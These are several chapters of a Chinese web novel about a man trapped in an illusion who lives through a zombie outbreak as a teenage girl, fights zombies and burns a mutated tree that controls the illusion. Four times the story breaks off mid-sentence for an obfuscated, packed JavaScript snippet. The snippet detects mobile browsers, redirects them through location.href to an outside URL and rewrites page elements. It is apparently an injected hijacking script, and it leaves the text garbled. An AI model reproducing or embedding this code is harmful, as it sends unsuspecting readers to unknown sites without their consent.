医院人流量大，又是丧尸爆发的中心，放在影视剧里，肯定是一群又一群杀不完的丧尸蜂拥而至。 但是这一轮爆发被击毙的怪物只有13个，其中有两个是被吓疯的普通人打死的。 乔佑跟在刘珀和杜羡仪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632360|143615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后，医院走廊上走几步就出现大滩凌乱的血迹，隔一段就有端着枪的士兵。 制服形式有点乔佑那个时代的影子，但用料只是普通材料，不像乔佑曾见过的资料影像里，军人的衣服都采用专为异能者研发的特殊材料，有降低基因崩解概率的效果。 他也看不出来这些士兵是哪一方的，反正跟着走，时不时有担架从外面抬进来，然后抬出一个浑身咬伤、生死不知的血人。 刘珀将杜羡仪护在内侧，一直到出医院，热风扑面而来，他们仿佛已经很久没见过天光，心里不免长松一口气。 “被咬过没有？”门口的士兵端着枪，公事公办地问。 杜羡仪正要开口，刘珀率先道：“没有。” 士兵点点头，两人离开，又拦住乔佑：“你？” 乔佑摇摇头：“也没有。” 比起那些浑身狼狈，血迹东一块西一块的人，他们三人看起来确实体面多了。 乔佑也被放行，他目光扫过杜羡仪捂着肚子的手。 手腕内侧，一个咬痕若隐若现。 他在病房中的做法没有改变幻境的发展。 刘珀在医院停车场找到车，先扶着杜羡仪坐副驾驶，冷冷看了乔佑一眼，但也没有阻止他跟着一起。 乔佑觉得，如果刘珀知道被咬意味着什么的话，应该就不是这个态度了。 可能会想杀人。 乔佑安静地坐上后座，刘珀倒有点诧异，如果是平时的唐以，这会儿早就嚷嚷起来了。 刘珀看了眼中央后视镜，觉得这次唐以是真的觉得自己错了，倒没有再故意给脸色。 路过一家大型商场，乔佑瞥了一眼，觉得有点眼熟，再看周围，应该是他的房车停留的那个广场，只是现在是末世前的样子，因此没一下子认出来。 “小舅舅，”乔佑道：“我想下车买点东西。” 刘珀正因为医院的事感到忧心，杜羡仪的孕检没做，还被那种怪物咬了一口。 他直觉暴露出被咬并不是什么好事，所以并没有将杜羡仪交给士兵，只打算带回家自己多观察。 听到唐以说要买东西，刘珀心中一动，找了个停车位停下，犹豫地看了看杜羡仪。 杜羡仪虚弱地撑着脑袋，手腕内侧的咬痕触目惊心：“你们去吧，我在车上歇会儿。” 乔佑和刘珀先后下车，杜羡仪摸了摸额头，将车内空调打得更低，昏昏沉沉地靠在车窗上。 这个大型商场是附近的地标性建筑，囊括了吃喝玩乐日用百货的方方面面，周围高楼大厦林立，人流量巨大。 不知道是不是因为几个医院闹的动静太大，末日说真实得很具体，已经到了接地气的程度。 不像往日里手机里刷到的帖子，什么天灾频繁、海平面上升、冰河纪又要来了、下一颗撞击地球的陨石预测等等，距离人们太远，忧虑一下转头就忘，或者根本不在意，直接一笑而过。 这次的惨烈景象就在身边，虽然极力禁止媒体传播，但涉及到的可是好几个医院，根本瞒不下来，好几个地方还没解封呢。 所以商场内的人很多，是往日里的好几倍，都在风风火火地囤积物资。 14. 反目 乔佑和刘珀刚进商场就分开了，刘珀显然已经对那个唐以心灰意冷，暂时不愿意跟她待在一起。 之前一起从医院出来顺便搭个车还好，不麻烦，要是他出来的比刘珀晚，人家还真不一定等他，可能直接开车走了。 而乔佑既不想自己另外打车回去，也没能力在这个世界里租房。 所以他打算速战速决，只买一点能自保的东西，食用物资让他便宜小舅舅操心，买好了就赶紧回去。 杜羡仪一个人待在车上乔佑并不放心，他下车的时候发现杜羡仪已经有了一些前期的症状了。 商场进门左边是一个开阔的生态园，绿意盎然，生机勃勃，在这炎炎夏日仿佛能瞬间抚平人心中的急躁。 生态园也是这个商场的特色之一，绿色的草皮，透蓝的水流，粉色的月季和蓝色的绣球，缠绕栏杆的爬山虎……在城市的物欲横流中看到久违的绿意，总是让人心情舒缓。 围绕生态园的阶梯螺旋向上，是一条通往上面楼层的捷径，此时正人流如织。 乔佑淡淡看了一眼便收回目光，精神力感受了一下，仍然没感觉到异能，有点挫败。 他现在没有空间。 商场的分布地下一层，地上最高五层。 生态园对面是一家奶茶甜品，再往里是一些珠宝，金银的项链手镯戒指都在柜台里熠熠生辉，鲜艳的口红砌成阶梯式的小山，各种奢侈品鲜艳夺目。 商场二楼是美容护理、化妆品和衣帽鞋子，三楼卖亲子玩具，四五楼则是餐饮和影院。 乔佑看了商场导览图，最终去了负一楼的超市。 十分钟之后，他拎着一根安全绳走出商场，还有一把精巧的小刀，贴在裤子口袋里。 安全绳长二十米，内置钢丝，质量很好，很坚固，耐火耐高温，前后都有锁扣。 这方面的能力是他在天网中学会的，看起来不起眼的绳子，却有各种各样的作用，甚至在关键时刻能决定生死。 乔佑心里挺想学更进一步的编织技艺，细细的丝线创造出万事万物，但是这方面的门槛太高，他还没来及做打算，就被困在游戏里回不去了。 很快，乔佑找到刘珀的布加迪，车门没锁，杜羡仪靠在车窗上，听到声音茫然地睁了睁眼。 看见是唐以，又闭眼昏睡过去。 她心中恐慌，但已经没有力气去怨恨唐以了。 乔佑坐在后座，透过防窥膜看外面车来车往。 不管是在现实世界还是虚拟世界，他都没见过这么拥挤热闹的景象，如果那些车辆不是为了向乡下逃命的话就更好了。 不知过去了多久，刘珀一边打电话一边走过来，双手空空如也。 “你们就待在家里，别出来，我和小以马上就回来了。” “……孕检？没有，下次做，今天太乱了。” “没多大事，本来也快到采购的日子了，李叔说今天没事想出来逛逛，顺便就采购了，你们别多想。” “好了好了，我开车了，挂了。” 乔佑猜这个电话应该是唐以的外公外婆打来的，也就是刘珀爸妈。李叔是家里的司机，平时也管采购。 布加迪确实装不了什么东西，刘珀把囤物资的事情安排给李叔才是正常的，现在距离丧尸全面爆发还有一段时间，不出意外的话应该没事。 刘珀进来看见杜羡仪在睡，声音矮了八度，匆匆挂断电话，试了试杜羡仪体温，眉头皱了起来。 瞥了一眼后座的乔佑，看见他旁边摆着绳子，顿时没好气：“你下去就为了买根绳子？买来干嘛的？” 乔佑试图忽悠过去：“好奇绳缚艺术，最近在学。” 刘珀一时匪夷所思。他想问这个年纪学这个合适吗，又想提醒这种艺术用不着钢筋尼龙绳。 “你也就仗着平时没人管你是吧，天天学些什么东西。” “？”乔佑莫名其妙。 在路上堵了很久，回到家已经是两个小时之后了。 家里一对老人，一个保姆阿姨，除了出门采买物资的李叔，都在客厅里焦急地等着。 “哎，你看那是小珀的车吧？”刘奶奶转了几圈，突然瞧见窗外，忙碰了碰旁边装模做样看报纸的老伴。 “我看看，”刘老爷子捏着眼镜，点头道：“小珀早上出门的时候是开的这辆。” 布加迪驶入地下停车场，不一会儿，三人从电梯上来，杜羡仪大部分重量都压在刘珀身上，乔佑在旁边虚虚扶着。 刘奶奶咋呼呼迎过去：“小以？吓坏了没？给外婆看看。” 这对老人早些年面对唐以还会装装严肃，随着年纪越发大了，摆不出什么冷脸，作为家里唯一的第三代，唐以可谓是受尽宠爱。 但很罕见的是，唐以这次没有热情地回应她。 “我没事，还是看看小舅妈吧。”其实他的语气没有什么问题，冷静而温和，然而这才是最不对劲的地方。 至少，唐以从来不老老实实叫小舅妈。 “羡仪怎么回事呀？”刘奶奶惊吓道。 她刚刚就看见儿媳妇不舒服的样子，只以为是昨天的感冒没好，又在医院里受了惊，怎么看刘珀表情这么难看？ 一群人把杜羡仪扶上床躺着，刘珀摊开杜羡仪蜷缩的手，一圈咬痕露出来，好在没有咬到血管，现在血迹已经干了。 保姆张姨惴惴道：“这是怪物咬的？” 这样的咬痕很多人都会觉得眼熟，吃苹果的时候咬一口，牙印差不多就是这样了。 刘珀拧着眉，转头从果盘下拿了把小刀，在杜羡仪手腕上划开一刀。 那速度果决无比，还没来得及拦他，暗红的血液就从伤口流了下来。 是正常人的动脉血绝不会出现的暗红色。 “……”刘珀深吸一口气，小刀没拿稳，掉在了地上。 乔佑心里叹息一声。 刘老爷子沉声安慰：“你别急，没听说咬一口就能被感染了。” 刘奶奶像是要晕过去了，连连道：“羡仪是被怪物咬了？又是发烧又是昏迷的，血也变成这样了，这是感染的症状？那，那我的孙子呢？我的孙子，我的孙子还能好吗？小珀，你跟妈讲怎么回事啊？！” 刘珀先还强撑着冷静，现在却通红着眼，一指乔佑：“你问她！唐以，你来说怎么回事！” 乔佑：“……” 所有人的目光都朝向他，茫然有之，不敢置信有之，怨毒有之，都在等他给出一个交代。 但是这关他什么事？他才是真正无辜的那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632361|143615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 乔佑能怎么解释？ 他只能说：“因为唐以无能且不听劝，没把言小芊看好，她变成丧尸是要咬人的，要么唐以要么杜羡仪，实力太弱又偏要逞能，总有一个人要死。” 空气仿佛静止了。 乔佑想起他玩虚拟游戏的时候，心情不好时也喜欢把游戏按暂停，在绝对的安静中盯着一个地方发呆，慢慢消化自己的情绪。 现在的情形相似又不同。 一股强烈的怨怼和悔恨自胸中升起，直冲脑门，激荡的情绪在他精神力外围横冲直撞，似乎非要摧毁什么不可。 乔佑守着自己的精神力免受干扰，无动于衷，反正这道感情不是他的，唐以的惨剧更不是他造成的。 “恼羞成怒了？”乔佑无所谓道：“下一幕吧，不会演戏，也应付不来这么复杂的家庭关系。” 他只能适应和非人的生物待在一起，或者在很多人之间尽量降低存在感，最好能隐身，但是当大家的目光都聚焦在他身上，并且非常不友好时…… 讲真的，他宁愿和唐以同归于尽。 乔佑有点想小维希了。 不知两厢僵持了多久，那股外来的精神力终于不甘地散去，房间内的人像是仿生人被重新按了开机。 直接略过了乔佑那句话。 刘奶奶眼睛通红：“你为什么要这样做啊？唐以，我们没做对不起你的事啊！两条命，你怎么忍心的？你表弟还在杜羡仪肚子里……” “你不知道你舅妈就在你后面吗？你为什么没挡住？！” 乔佑摈弃掉杂音，心里确定了，唐以对幻境的运用还稚嫩得很，他能在合理范围内做出与幻境主角不一样的行为，但要是太过离谱，像刚才那样直接说出唐以绝不会说出口的话，幻境就支撑不下去了。 无法接着发展，只好把这一段抹过去。 如果他直接罢演不玩了，做出唐以也圆不过来的行为，就会……幻境暂停，接着斗精神力。 这样也好，彼此底线都清楚了，不想同归于尽的话就各自配合吧。 他回过神，周围的人神色不一，“苦主”就躺在床上，巨大打击之下，都一副对“她”心灰意冷甚至到仇恨的样子。 唐以自己也隐约清楚，她的亲人们对她的感情都是很表面的，一个姓的区别，她永远都是“外”孙女。 她的外公外婆看似开明，但重男轻女的思维隐晦又根植于心，不然怎么会有了刘琬，仍然费尽心思以高龄生下刘珀？ 在这样的时刻，把她归类于外人，并且认为她理所当然该保护杜羡仪肚子里的孩子，希望被丧尸咬的是她而不是杜羡仪。 相处十几年的外孙女不如尚在胎期的亲孙子重要。 或许是唐以的愤怒也有些影响乔佑，他不太想接着应付这一家子，惋惜地看了一眼杜羡仪，自顾自离开了。 循着记忆找到唐以的卧室。 粉色系的装修，有独立卫浴，带小书房和衣帽间，一米八的大床上堆满了玩偶，几张各有特色的巨幅男星海报贴在墙上，落地窗外碧汀湖清澈如洗。 乔佑坐在书桌前的椅子上，有点累地叹了口气。 一道少女声音在乔佑脑海中幽幽响起： “你有解丧尸病毒的药？” 15. 变异槐 “杜羡仪变成丧尸已经过去一年多了，尸体都没了吧，我有没有药又有什么用呢。”乔佑在心里回复道。 那道声音有点恍惚：“已经……一年多了？” “唐以，你把别人困在幻境里，也把自己困进来了，何必。”乔佑闭上眼睛，懒懒地说。 唐以没说话了，乔佑没有套出话，有点遗憾。 全球进化是在丧尸爆发九个月之后开始的，之后才有了变异动植物和异能者，所以唐以作为幻境异能者，肯定顺利地活过了九个月。 只要不作死，他肯定也能。 幻境消磨人的方式无非两种，一种是让他死在幻境里，精神体处于死亡状态，现实里也会死去，然后被唐以吞噬；另一种则是用漫长的苦难让他变得虚弱，被悄无声息地吸收。 乔佑进入幻境没多久就意识到自己不是原身，对幻境也没有多少代入感，这所谓的苦难就大打折扣。 两种方法对乔佑都没辙，所以为什么要接着关他？重温以前的惨剧不难受吗？自虐也别拉上他吧。 乔佑琢磨不出唐以的动机，只能就这么跟她耗着。 他睁开眼，一缕白絮如烟如雾，艰难地出现在乔佑面前，又轻易地消散于风中。 . 家里仍然对杜羡仪的病情抱有幻想，希望她撑过去，不要变成怪物。 但事实不容乐观，保险起见，仍然将她束缚起来，几个人轮流看着。 退烧药喂不进去，一直给她物理降温，刘珀守在旁边不停说话，在她撑不住要昏迷过去时把她叫醒，希望能延缓进入第二阶段的时间，却收效甚微。 当天晚上，李叔开着一辆大货车回来了，他专门给别墅做采购工作，本就门路不少，平时用不上一辆货车这么夸张，特意找以前的兄弟借的。 刘珀的工作还没有安排完，他早就无心工作，外面已经是一片人心惶惶。 前两天在大暴雨后昏迷的人们陆续“醒来”，远远不止白天医院里那闹着玩的小猫十几只，李叔回来的路上就碰见了好几处奇怪的动静，回来说给了几人听。 金湖小区是个地广人稀的别墅区，只有六户，三栋独栋别墅分散在湖边，另外三户是联排别墅，在临近小区门的位置。 围绕小区的围墙大约三米高，算是一层防御。 晚间别墅里的六人潦草地吃完一顿饭，四处检查了别墅，排除了一些安全隐患。 如果怪物只比普通人强一点的话，靠蛮力是进不来的。 乔佑也跟着转了转，又停在了湖边，这里与别墅的小花园相接，一张石桌和充当凳子的矮木桩，小径尽头一个藤萝编织的秋千，别有野趣。 白天看着很纤细的槐树此时像个伏在黑暗里的庞然大物，树叶婆娑，投下一片阴影。 真实的唐以现在在做什么呢？ 从下午到晚上，整个家里都对“她”漠然无视，就连往常喜欢巴结她的张姨都躲着她走。 乔佑乐于所有人都当他不存在，但那个平日里备受关怀的大小姐忍受得了这样的落差吗？ 类似的事情并非只有今天一次，这里是唐以唯一的家，却偶尔能生出寄人篱下的错觉。 每次受委屈了无人可说，就对着这棵槐树嘀嘀咕咕，爬上它弯曲的树干，躲在浓密的树叶间，假装是她生命中缺失的母亲的怀抱。 这样简单的事情，乔佑并不介意做个假动作，遵照原主人设，降低一下ooc程度。 他弯腰摸了摸槐树灰褐色的树干，确认了某个猜测，眼露沉思。 为什么……这里有一棵变异植物？ 乔佑没有在外面待多久，又游荡去了地下室。 别墅上面四层，下面两层。 负二楼是地下停车场，负一楼没放什么东西，阴暗无光不适合住人，只堆放一些杂物，李叔带回来的物资都码在这一层。 负一楼没开灯，乔佑顺着楼梯走下来，木屐鞋发出规律的塔塔声。 一道隐约的哭声从前面传过来，乔佑打开手机的电筒功能，哭声一下子停了。 电筒扫过高高的各种架子，乔佑继续向前，光线晃过一个白色的人影，一顿，转回去。 躲在地下室哭的人赫然是张姨，乔佑把手电筒移开一点，出声：“张姨，你怎么在这里？” “啊，是你啊！”张姨长呼出一口气，有点不好意思：“小姐，你吓死我了！我还以为……” 家里也没有谁走路是那样的，施施而行，步速好像测过一样纹丝不动。 说起来唐以从医院回来之后真像变了个人一样，杜羡仪的事对她的打击还是太大了吧。 “张姨，是出什么事了吗？”乔佑又问了一遍。 张姨刚还能忍住，听乔佑问她，泪珠迅速又聚集起来，好半晌才说：“我家那位给我打电话说，我们楼里也出现了怪物，我儿子平时住校，每周五回来，但是今天一直没见到人。” 乔佑一惊。 未来的发展他不知道，但唐以以前的记忆都随着这具身体一并接手了，因此迅速回忆起了相关信息。 张姨是樟城本地人，但丈夫是隔壁市的，户口也在隔壁市，儿子读初中当然跟着爸爸。 才这么几个小时，连隔壁市都有丧尸了？ 乔佑：“问过老师了吗？也许在学校里没回来。” “怎么可能没问，但是……”张姨深吸一口气，看起来不想再说下去，拍了拍自己圆润的脸颊，又撑起一个笑眯眯的熟悉表情：“不说这个了，我离他们父子俩远着呢，想管也管不着，现在最安全的就是咱们这里了，我还能走了不成。” 她转而道：“小姐来地下室做什么？” 乔佑：“我随便看看。” 一辆大货车拉回来的物资真的很多，刘珀一定千叮万嘱给李叔说了事件的严重性，带回来很多米面，地下室里很久没用过的冷库也重新启用了，肉食和蔬菜都放在里面。 以乔佑的判断，他完全不清楚这些物资够家里几个人吃多久，纯粹是抱着欣赏和向往的态度看这些可爱的物资。 他迟早也会有这么多的，嗯，一定。 只要不作死，就这么撑到九个月也不是不可能。 九个月后天灾来临，那就不一定了。 . 第三天的凌晨，就在所有人都沉入睡眠的时候，昏迷中的杜羡仪眼睛鼓起，瞳孔转动。 一转头，床上离她一米远的距离，刘珀正和衣浅眠。 这些天收集到的消息，被怪物咬死的人类只要脑袋还存在，变成怪物是必然的。 “丧尸”这个词开始在网络上飞速传播。 但只咬一口的后果还不清楚，看那些熟悉的种种症状，都认为变成怪物也是毋庸置疑的，只是不知道距离那时候有多长时间而已。 刘珀已经不抱什么希望，守在旁边只是为了让自己彻底死心，也谨慎地保留了距离。 昏昏沉沉间，突然听到一点不同寻常的动静，瞬间完全清醒。 杜羡仪不知道已经挣扎了多久，绳索松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632362|143615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松地搭在身上，只剩肩膀和腿上的绳子岌岌可危地坚持着，丧尸抻着上半身往他的方向倾斜，张大的嘴巴几乎近在咫尺！ 刘珀心里一突，最后的绳索“啪”的断裂，丧尸猛地扑过来，千钧一发之际往旁边一滚！ 肉.体砸在地上发出闷沉的咚的一声，与此同时，楼上的房间里，规规整整平躺的乔佑倏地睁开眼，抄起枕头下的小刀就跳下床去。 刘珀失去了制服丧尸的先机，第一反应就是躲，不要被杜羡仪咬到。 或许是往日里她怀着孩子行动不便的形象深入人心，刘珀很久没见过杜羡仪这么迅速的样子，猝不及防下差点就被咬了，躲的非常狼狈。 变成丧尸的杜羡仪完全不顾及肚子里的孩子，固执地扑咬刘珀，嘴巴徒劳地张合，发出嘶哑的吼声。 这么大的动静自然吵醒了家里其他人，但有个人比他们都来得要快。 深夜里，壁灯的光晕柔和地照亮四周，乔佑砰的推开卧室门，丧尸已经将人扑到地上，臃肿的肚子变成了阻碍，底下的人在剧烈挣扎。 乔佑用小刀敲了敲门，道：“这边。” 那丧尸听到声音回头，昔日的眉眼笑容早就面目全非，显得狰狞无比。 但是，一只普通丧尸，生前没有强健的体魄，死后没有经历过九个月后的全球进化，就算乔佑没有雾系异能也能轻松应付。 等刘珀缓过情绪站起来，家里其他人也匆匆过来时，就看见“唐以”像刀切豆腐一般轻松，从丧尸的后脑枕骨大孔精准地直取脑干。 小刀缓缓抽出，丧尸身体抽搐了一下，软倒下去。 刘珀一窒。 围过来的两位老人、保姆、司机，都呆呆地看着这一幕。 当唐以为家里带来危险时，所有人都指责她，但是她以这么狠辣娴熟的方式解决掉危险，他们又感到了深深的忌惮和恐惧。 他们仍然是末世前的思维，理智知道应该把变成怪物的杜羡仪杀死，看见人死在面前却难免胆寒。 刘奶奶哆哆嗦嗦地道：“你，你不是唐以，你……”说不出来后面的话。 乔佑有点无聊，也有点厌烦，提着小刀要离开，走出去几步，没人拦他，他自己停了。 死去的杜羡仪尸体还躺在地上，腹部高高隆起，此时突然疯狂鼓动起来，里面的胎儿在打拳一般，□□西踩，让人怀疑下一秒这个肚子就会爆炸开来。 几分钟后，一个脸色青黑的胎儿破开肚子，鲜血淋漓地爬了出来。 一只小丧尸。 胎儿已经有了人形，睁不开眼睛，左右摸索，口中发出模糊的叫声，那嘴巴一张，就露出了布满牙床的血迹碎肉。 甫一爬出来，就朝聚在一起的四个人滚过去，湿漉漉的手飞快抓住一条脚腕。 惊叫声四起。 在小丧尸咬下去之前，一把小刀凌空飞来！扎进那颗没发育好的小脑袋瓜里。 小丧尸的动作顿时迟钝了下来，不幸被扑的张姨惨叫一声，哭叫着连连后退，扒在她脚上的小丧尸被甩飞出去，啪唧摔在墙上。 脑袋是丧尸的致命部位，但就像人类一样，并不是受到重创后就完全失去行动能力，况且它们并没有痛觉，只要能动就会坚持不懈地咬人。 那小丧尸扭曲着肢体，匍匐成一坨，又朝一个目标滚过去。 乔佑却不打算管了，如果连一只这么弱的丧尸都解决不了，怎么适应末世？ “我建议你们也学学怎么杀丧尸，现在的，只是开胃菜。” 16. 灰白的阴翳 他们在家里又守了几天，丧尸刚出现时，网上的消息热热闹闹，随着时间过去，发出的声音越来越少，不知道是因为已经对消息不抱希望，还是停电后舍不得开手机，或者是都死了。 官方不断发通告安抚民众，可救援迟迟不来。 从医院回来第五天，十几只丧尸出现在了别墅视野范围内。 并不是说之前没有丧尸进入金湖小区，只是全部被临近小区门口的几户人都挡下来了，现在丧尸已经进来，不知道他们是否还活着。 刘珀一家和别的两户人都做了自制武器，以游击战的精神把十几只丧尸分散解决，因为经验不足，有两人被咬了，一人被啃没了半边身体，当场就没了。 被咬的两人当然不愿意死，想继续住着碰碰运气，万一没有感染呢？也没有证据说被咬后全都感染了，哪怕是被关起来也好啊？ 但人们看他们的表情已经不像在看一个人了，只琢磨着怎么赶尽杀绝。 最后还是有人看不过去，折中一下，把他们赶出了小区。 其他两户的都人比刘家多，不像刘家平时没什么亲戚往来，丧尸爆发后，就有同城的亲戚收拾了大包小包的行李投奔过来，一大家子人挤着，人品良莠不齐。 刘珀很担心，等物资消耗完后，早晚会闹起内讧，他们家的物资就是一块藏起来的巨大肥肉，人少，不一定能守住，好在家里也没有蠢人，不会瞎传出去。 他们三户人同住一个小区，以前也有交情，便约定好了每天派人巡逻。 乔佑被困在幻境里，渐渐模糊了时间的感知。 家里的几个人好像又忘了乔佑杀丧尸杜羡仪的那一幕，仍然把他当成以前那个手无缚鸡之力的高中生唐以，既然已经离心，也不强行热络了。 所以乔佑既不用费心和别人社交，也不用参与大人们的巡逻，每天清闲得发霉。 他不知道要继续这么待多久，内外的时间比又是多少，如果在这里待一年，幻境外也过去一年，出去后恐怕尸体都被丧尸啃完了。 幻境里杀怪没有经验值，也没有系统任务做，最快的修炼捷径晶片晶核得等九个月才出现，正常修炼的话得修到猴年马月去。 不对，也不是没有晶核。 乔佑靠在卧室阳台上，从二楼向下望去，若有所思地看着湖边的变异槐。 这是整个幻境里最不合理的生物，但变异槐一直很低调，没表现出异常的地方，如果是别人在这个幻境里，肯定会将它忽视过去。 就算多注意一点，完善的记忆也能完美解释它长得像人的原因。 富人小区在设计、建造之前都会请大师堪舆风水，大师说，碧汀湖有点空，湖边那些普通的树是围不住的，得请不一般的树来。 而槐树是吉祥树，“人多庭前植之，一取其荫，一取三槐吉兆，期许子孙三公之意。”又自古有“门前一棵槐，财源滚滚来”的民俗民谣。 又招财又升官，做生意的向来沾点迷信，于是特意找了一棵隐隐像人的老槐。 多年之后，风吹雨打，老槐树树干越来越弯，直到变成现在这样。 幻境的主人明明是唐以，寥寥的几次直接对话也证明了这一点，脑海中的声音是一个年轻的女音，为什么幻境里会出现一棵变异植物？ 这或许是打破幻境出去的契机，就算不是，有了槐树的晶核，他恢复异能后也能出去了。 在乔佑的直觉中，这棵变异槐应该没有自己的意识，不知道唐以用什么方法杀死了它，取出晶核做了这个幻境运行的能源核心。 夏日炎炎，天干物燥。 乔佑在唐以的书架上撕了几页空白的草稿纸，找到一根细长的香薰打火机，又去厨房撞见张姨在做饭，在对方莫名的眼神中提了一桶植物油。 他要把变异槐烧了。 唐以好像也觉得一直关注他的进展很无聊，只要等着他的精神力防御消耗干净再吃就行了，已经很多天没有理他，哪怕是乔佑主动找唐以说话也没有搭理，不知道平时在干嘛。 所以唐以当然也没意识到马上要被偷家了。 乔佑将植物油浇在树根边，树干上，树叶间，细细地溜了几圈，琥珀般的颜色在烈日下缓缓流淌。 他点燃纸张，丢在树上，呼的一下，大火熊熊。 “你在干什么？”唐以的声音突然在乔佑脑海中响起，语速急促，似乎很慌张。 乔佑：“在放火。” “你是不是疯了？停下！把火灭了！”唐以命令道。 “你如果很在乎这棵树，可以把幻境暂停，然后跳到下一幕。”乔佑提议道：“但是我闲着没事就想干点什么，你不要介意。” “……”对方沉默，幻境没有暂停，乔佑感到一种名叫咬牙切齿的情绪。 “或者，你把我放了。”乔佑接着道。 “本来，你跟我继续耗下去，不一定会成为我的养分，但你自己要作死的话……”声音渐渐小下去，后面的听不清了。 乔佑有点奇怪，“养分”？正常人会这么形容吗？ 大火已经烧起来了，红色的等离子态焰火模糊了视线，高温灼灼，乔佑退后两步，抬头望去，突然瞳孔一缩。 树叶蜷曲，枝干弯折，像是一个巨人在难受地呻.吟。 原本倒伏的大树违反常理地“站”了起来。 “人类，你打扰了我睡觉。”熟悉的女音在乔佑脑海中重新响起，但显然已经不是唐以。 这道声音和唐以很像，却更缓慢，更深沉，更飘渺。 树叶摩擦出哗啦啦的声音，大火就在这样轻描淡写的风里熄灭了。 “抱歉，我只是想离开这里。”乔佑礼貌地回答道，脑子里疯狂运转。 “你为什么想离开你的家。”那声音好像很疑惑。 变异槐知不知道这里是幻境？ 乔佑道：“因为我不是唐以。” 变异槐好像睡糊涂了，这次停了很长时间，乔佑几乎以为它又去打了个盹，才听它接着说：“哦，这样，可是，你离开了，我吸收什么。” “……” 乔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632363|143615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佑迅速推翻了前面的猜想。 这个幻境是变异槐的，或者说，变异槐和唐以都是这个幻境的主人，变异槐为主，唐以为次，前面变异槐在沉睡，所以出现在他面前的只有唐以，唐以在代它“狩猎”。 怪不得他觉得唐以的精神力有点强大得不正常了，正常人的两倍有余，如果是一人一树的精神力总和，就恰好能解释。 但唐以为什么能使用变异槐的精神力呢？ 吞噬？共生？ 乔佑一边思考，一边反问道：“你确定能把我吸收掉？” 变异槐感受了一下，慢吞吞地说：“你很美味。” 它“吃”过很多人，很多动物植物，丧尸的味道很苦，还有毒，都被它赶出去了，别的食物都寡淡无味，但就像唐以以前吃的主食一样，总不能不吃。 这个人类的味道却很香，清粥小菜吃久了，总想吃一顿珍馐美宴。 “谢谢你把我叫醒，差点错过了。”变异槐摇了摇枝条，幻境似乎也随之扭曲。 它对幻境的掌控力度显然比唐以强得多，整个天地都在颤动、压缩，显得幻境中心的乔佑渺小无比。 没有人能以一己之力对抗大自然的雷霆力量。 乔佑站立不稳，倒退几步扶住石桌，下一秒，石桌变成滚烫的烙铁，鹅卵石路分崩离析，建筑向他倾倒…… 乔佑不合时宜地分析起变异槐泄露出来的信息，心想：差点错过？变异槐睡着，不还有唐以在吗？所以……这一人一槐还有竞争关系？ 乔佑眨了眨眼，一层蒙蒙的白雾突然覆盖在他左眼，原本漆黑圆润的瞳孔像是蒙了一层阴翳，变成浅浅的灰色。 这样的变化似乎他本身也不太适应，像盲人似的伸手摸索着，走了一两步，庞然巨物向他压来，他像是没反应过来般呆立在原地。 于是……巨物横穿而过，两条平行线交接又错开，没有造成任何影响。 乔佑微微笑道：“你应该是吸收不了我的。” 他脚下的地面坍塌，裂开深深的沟壑，乔佑却仍然立在原地。 碧汀湖的水汹涌如海啸，排山倒海扑来，他手中出现一张布条，随意地擦了擦空荡荡的“地面”，盘着腿坐下去，一手撑着下巴。 无聊地观赏起这一幅难得一见的、大厦倾颓的景象。 “你怎么会没有反应？”变异槐的声音终于不再平稳了，就与那个少女唐以更相似了几分。 “因为我站在幻境和现实的交界点。”乔佑轻声道。 “另外，这幻境是你自己毁掉的，不关我的事。” 乔佑一直觉得，就像他能察觉到唐以的情绪一样，他用着模拟唐以本人的身体，对方也能或多或少察觉他的一些想法。 就比如关于解除丧尸病毒的药。 所以，关于如何逃脱出去的办法他总是不深入思索，浮于表面的想法往往错误得让人觉得可笑。 他的异能是什么？异能恢复了多少？有多大把握逃出这个幻境？ 乔佑不知道，唐以当然也不知道。 17. 夜视 乔佑从变异槐的幻境里从容离开。 回头望去时，一个正在崩塌的幻境出现在视野里，一会儿散成一团棉絮，一会儿聚拢成一枚溏心鸡蛋。 